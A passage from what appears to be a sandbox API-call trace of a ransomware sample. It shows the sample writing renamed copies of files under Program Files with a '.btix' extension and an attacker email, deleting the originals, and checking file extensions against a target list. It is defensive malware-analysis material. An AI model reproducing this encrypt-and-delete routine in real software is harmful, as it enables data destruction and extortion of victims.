dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0044.876] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x318 [0044.876] GetLastError () returned 0x0 [0044.877] ReadFile (in: hFile=0x364, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x12ae, lpOverlapped=0x0) returned 1 [0045.131] WriteFile (in: hFile=0x318, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0x12b0, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0x12b0, lpOverlapped=0x0) returned 1 [0045.132] ReadFile (in: hFile=0x364, lpBuffer=0x4167020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x37afecc, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesRead=0x37afecc*=0x0, lpOverlapped=0x0) returned 1 [0045.132] WriteFile (in: hFile=0x318, lpBuffer=0x4167020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x37afc94, lpOverlapped=0x0 | out: lpBuffer=0x4167020*, lpNumberOfBytesWritten=0x37afc94*=0x104, lpOverlapped=0x0) returned 1 [0045.132] SetEndOfFile (hFile=0x318) returned 1 [0045.183] CloseHandle (hObject=0x318) returned 1 [0045.184] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x37afec0 | out: lpNewFilePointer=0x0) returned 1 [0045.184] SetEndOfFile (hFile=0x364) returned 1 [0045.185] CloseHandle (hObject=0x364) returned 1 [0045.185] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0045.185] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\clicktorun\\officeupdateschedule.xml")) returned 1 [0045.185] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0045.185] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0045.185] lstrlenW (lpString=".doc") returned 4 [0045.185] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0045.185] lstrlenW (lpString=".docx") returned 5 [0045.185] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0045.185] lstrlenW (lpString=".pdf") returned 4 [0045.185] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0045.185] lstrlenW (lpString=".xls") returned 4 [0045.185] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0045.185] lstrlenW (lpString=".xlsx") returned 5 [0045.185] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0045.185] lstrlenW (lpString=".ppt") returned 4 [0045.185] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0045.185] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0045.185] lstrlenW (lpString=".zip") returned 4 [0045.185] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0045.186] lstrlenW (lpString=".rar") returned 4 [0045.186] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0045.186] lstrlenW (lpString=".bz2") returned 4 [0045.186] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0045.186] lstrlenW (lpString=".7z") returned 3 [0045.186] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0045.186] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0045.186] lstrlenW (lpString=".dbf") returned 4 [0045.186] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0045.186] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0045.186] lstrlenW (lpString=".1cd") returned 4 [0045.186] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0045.186] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0045.186] lstrlenW (lpString=".jpg") returned 4 [0045.186] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0045.186] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0045.186] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0045.186] lstrlenW (lpString=".doc") returned 4 [0045.186] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0045.186] lstrlenW (lpString=".docx") returned 5 [0045.186] lstrcmpiW (lpString1=".docx", lpString2="e.xml") returned -1 [0045.186] lstrlenW (lpString=".pdf") returned 4 [0045.186] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0045.186] lstrlenW (lpString=".xls") returned 4 [0045.186] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0045.186] lstrlenW (lpString=".xlsx") returned 5 [0045.186] lstrcmpiW (lpString1=".xlsx", lpString2="e.xml") returned -1 [0045.186] lstrlenW (lpString=".ppt") returned 4 [0045.186] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0045.186] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0045.186] lstrlenW (lpString=".zip") returned 4 [0045.186] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0045.186] lstrlenW (lpString=".rar") returned 4 [0045.186] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0045.186] lstrlenW (lpString=".bz2") returned 4 [0045.187] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0045.187] lstrlenW (lpString=".7z") returned 3 [0045.187] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0045.187] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0045.187] lstrlenW (lpString=".dbf") returned 4 [0045.187] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0045.187] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0045.187] lstrlenW (lpString=".1cd") returned 4 [0045.187] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0045.187] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ClickToRun\\OfficeUpdateSchedule.xml") returned 82 [0045.187] lstrlenW (lpString=".jpg") returned 4 [0045.187] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0045.187] lstrcmpiW (lpString1=".avi", lpString2=".btix") returned -1 [0045.187] lstrlenW (lpString="boxed-delete.avi") returned 16 [0045.187] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x324 [0045.639] GetFileSizeEx (in: hFile=0x324, lpFileSize=0x37aff14 | out: lpFileSize=0x37aff14*=48936) returned 1 [0045.639] CloseHandle (hObject=0x324) returned 1 [0045.640] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi")) returned 0x20 [0045.640] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0045.654] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0045.654] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0045.654] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0045.654] lstrlenW (lpString=".doc") returned 4 [0045.654] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0045.654] lstrlenW (lpString=".docx") returned 5 [0045.654] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0045.654] lstrlenW (lpString=".pdf") returned 4 [0045.654] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0045.654] lstrlenW (lpString=".xls") returned 4 [0045.654] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0045.654] lstrlenW (lpString=".xlsx") returned 5 [0045.654] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0045.654] lstrlenW (lpString=".ppt") returned 4 [0045.654] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0045.655] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0045.655] lstrlenW (lpString=".zip") returned 4 [0045.655] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0045.655] lstrlenW (lpString=".rar") returned 4 [0045.655] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0045.655] lstrlenW (lpString=".bz2") returned 4 [0045.655] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0045.655] lstrlenW (lpString=".7z") returned 3 [0045.655] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0045.655] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0045.655] lstrlenW (lpString=".dbf") returned 4 [0045.655] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0045.655] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0045.655] lstrlenW (lpString=".1cd") returned 4 [0045.655] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0045.655] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0045.655] lstrlenW (lpString=".jpg") returned 4 [0045.655] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0045.655] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0045.655] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0045.655] lstrlenW (lpString=".doc") returned 4 [0045.655] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0045.655] lstrlenW (lpString=".docx") returned 5 [0045.655] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0045.655] lstrlenW (lpString=".pdf") returned 4 [0045.655] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0045.655] lstrlenW (lpString=".xls") returned 4 [0045.655] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0045.655] lstrlenW (lpString=".xlsx") returned 5 [0045.655] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0045.655] lstrlenW (lpString=".ppt") returned 4 [0045.655] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0045.655] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0045.655] lstrlenW (lpString=".zip") returned 4 [0045.655] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0045.656] lstrlenW (lpString=".rar") returned 4 [0045.656] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0045.656] lstrlenW (lpString=".bz2") returned 4 [0045.656] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0045.656] lstrlenW (lpString=".7z") returned 3 [0045.656] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0045.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0045.656] lstrlenW (lpString=".dbf") returned 4 [0045.656] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0045.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0045.656] lstrlenW (lpString=".1cd") returned 4 [0045.656] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0045.656] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-delete.avi") returned 73 [0045.656] lstrlenW (lpString=".jpg") returned 4 [0045.656] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0045.656] lstrcmpiW (lpString1=".avi", lpString2=".btix") returned -1 [0045.656] lstrlenW (lpString="boxed-split.avi") returned 15 [0045.656] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0045.656] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x37aff14 | out: lpFileSize=0x37aff14*=84190) returned 1 [0045.656] CloseHandle (hObject=0x320) returned 1 [0045.656] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi")) returned 0x20 [0045.657] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0045.657] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\boxed-split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0045.657] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0045.657] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0045.657] lstrlenW (lpString=".doc") returned 4 [0045.657] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0045.657] lstrlenW (lpString=".docx") returned 5 [0045.657] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0045.657] lstrlenW (lpString=".pdf") returned 4 [0045.657] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0045.657] lstrlenW (lpString=".xls") returned 4 [0045.657] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0045.657] lstrlenW (lpString=".xlsx") returned 5 [0045.657] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0045.657] lstrlenW (lpString=".ppt") returned 4 [0045.657] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0045.657] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0045.657] lstrlenW (lpString=".zip") returned 4 [0045.657] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0045.657] lstrlenW (lpString=".rar") returned 4 [0045.657] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0045.657] lstrlenW (lpString=".bz2") returned 4 [0045.657] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0045.657] lstrlenW (lpString=".7z") returned 3 [0045.657] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0045.657] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0045.657] lstrlenW (lpString=".dbf") returned 4 [0045.657] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0045.657] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0045.657] lstrlenW (lpString=".1cd") returned 4 [0045.657] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0045.657] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0045.657] lstrlenW (lpString=".jpg") returned 4 [0045.657] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0045.658] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0045.658] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0045.658] lstrlenW (lpString=".doc") returned 4 [0045.658] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0045.658] lstrlenW (lpString=".docx") returned 5 [0045.658] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0045.658] lstrlenW (lpString=".pdf") returned 4 [0045.658] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0045.658] lstrlenW (lpString=".xls") returned 4 [0045.658] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0045.658] lstrlenW (lpString=".xlsx") returned 5 [0045.658] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0045.658] lstrlenW (lpString=".ppt") returned 4 [0045.658] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0045.658] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0045.658] lstrlenW (lpString=".zip") returned 4 [0045.658] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0045.658] lstrlenW (lpString=".rar") returned 4 [0045.658] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0045.658] lstrlenW (lpString=".bz2") returned 4 [0045.658] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0045.658] lstrlenW (lpString=".7z") returned 3 [0045.658] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0045.658] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0045.658] lstrlenW (lpString=".dbf") returned 4 [0045.658] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0045.658] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0045.658] lstrlenW (lpString=".1cd") returned 4 [0045.658] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0045.658] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\boxed-split.avi") returned 72 [0045.658] lstrlenW (lpString=".jpg") returned 4 [0045.658] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0045.659] lstrcmpiW (lpString1=".avi", lpString2=".btix") returned -1 [0045.659] lstrlenW (lpString="correct.avi") returned 11 [0045.659] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0045.659] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x37aff14 | out: lpFileSize=0x37aff14*=180172) returned 1 [0045.659] CloseHandle (hObject=0x320) returned 1 [0045.659] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi")) returned 0x20 [0045.659] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0045.659] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\correct.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0045.659] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0045.659] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0045.659] lstrlenW (lpString=".doc") returned 4 [0045.659] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0045.659] lstrlenW (lpString=".docx") returned 5 [0045.659] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0045.659] lstrlenW (lpString=".pdf") returned 4 [0045.659] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0045.659] lstrlenW (lpString=".xls") returned 4 [0045.659] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0045.659] lstrlenW (lpString=".xlsx") returned 5 [0045.659] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0045.659] lstrlenW (lpString=".ppt") returned 4 [0045.659] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0045.659] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0045.660] lstrlenW (lpString=".zip") returned 4 [0045.660] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0045.660] lstrlenW (lpString=".rar") returned 4 [0045.660] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0045.660] lstrlenW (lpString=".bz2") returned 4 [0045.660] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0045.660] lstrlenW (lpString=".7z") returned 3 [0045.660] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0045.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0045.660] lstrlenW (lpString=".dbf") returned 4 [0045.660] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0045.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0045.660] lstrlenW (lpString=".1cd") returned 4 [0045.660] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0045.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0045.660] lstrlenW (lpString=".jpg") returned 4 [0045.660] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0045.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0045.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0045.660] lstrlenW (lpString=".doc") returned 4 [0045.660] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0045.660] lstrlenW (lpString=".docx") returned 5 [0045.660] lstrcmpiW (lpString1=".docx", lpString2="t.avi") returned -1 [0045.660] lstrlenW (lpString=".pdf") returned 4 [0045.660] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0045.660] lstrlenW (lpString=".xls") returned 4 [0045.660] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0045.660] lstrlenW (lpString=".xlsx") returned 5 [0045.660] lstrcmpiW (lpString1=".xlsx", lpString2="t.avi") returned -1 [0045.660] lstrlenW (lpString=".ppt") returned 4 [0045.660] lstrcmpiW (lpString1=".ppt", lpString2=".avi") returned 1 [0045.660] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0045.660] lstrlenW (lpString=".zip") returned 4 [0045.660] lstrcmpiW (lpString1=".zip", lpString2=".avi") returned 1 [0045.660] lstrlenW (lpString=".rar") returned 4 [0045.661] lstrcmpiW (lpString1=".rar", lpString2=".avi") returned 1 [0045.661] lstrlenW (lpString=".bz2") returned 4 [0045.661] lstrcmpiW (lpString1=".bz2", lpString2=".avi") returned 1 [0045.661] lstrlenW (lpString=".7z") returned 3 [0045.661] lstrcmpiW (lpString1=".7z", lpString2="avi") returned -1 [0045.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0045.661] lstrlenW (lpString=".dbf") returned 4 [0045.661] lstrcmpiW (lpString1=".dbf", lpString2=".avi") returned 1 [0045.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0045.661] lstrlenW (lpString=".1cd") returned 4 [0045.661] lstrcmpiW (lpString1=".1cd", lpString2=".avi") returned -1 [0045.661] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\correct.avi") returned 68 [0045.661] lstrlenW (lpString=".jpg") returned 4 [0045.661] lstrcmpiW (lpString1=".jpg", lpString2=".avi") returned 1 [0045.661] lstrcmpiW (lpString1=".avi", lpString2=".btix") returned -1 [0045.661] lstrlenW (lpString="delete.avi") returned 10 [0045.661] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0045.661] GetFileSizeEx (in: hFile=0x320, lpFileSize=0x37aff14 | out: lpFileSize=0x37aff14*=208408) returned 1 [0045.661] CloseHandle (hObject=0x320) returned 1 [0045.662] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi")) returned 0x20 [0045.662] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0045.662] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\delete.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0045.662] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0045.662] lstrlenW (lpString="C:\\Program Files\\Common Files\\microsoft shared\\ink\\en-US\\delete.avi") returned 67 [0045.662] lstrlenW (lpString=".doc") returned 4 [0045.662] lstrcmpiW (lpString1=".doc", lpString2=".avi") returned 1 [0045.662] lstrlenW (lpString=".docx") returned 5 [0045.662] lstrcmpiW (lpString1=".docx", lpString2="e.avi") returned -1 [0045.662] lstrlenW (lpString=".pdf") returned 4 [0045.662] lstrcmpiW (lpString1=".pdf", lpString2=".avi") returned 1 [0045.662] lstrlenW (lpString=".xls") returned 4 [0045.662] lstrcmpiW (lpString1=".xls", lpString2=".avi") returned 1 [0045.662] lstrlenW (lpString=".xlsx") returned 5 [0045.662] lstrcmpiW (lpString1=".xlsx", lpString2="e.avi") returned -1 [0045.662] 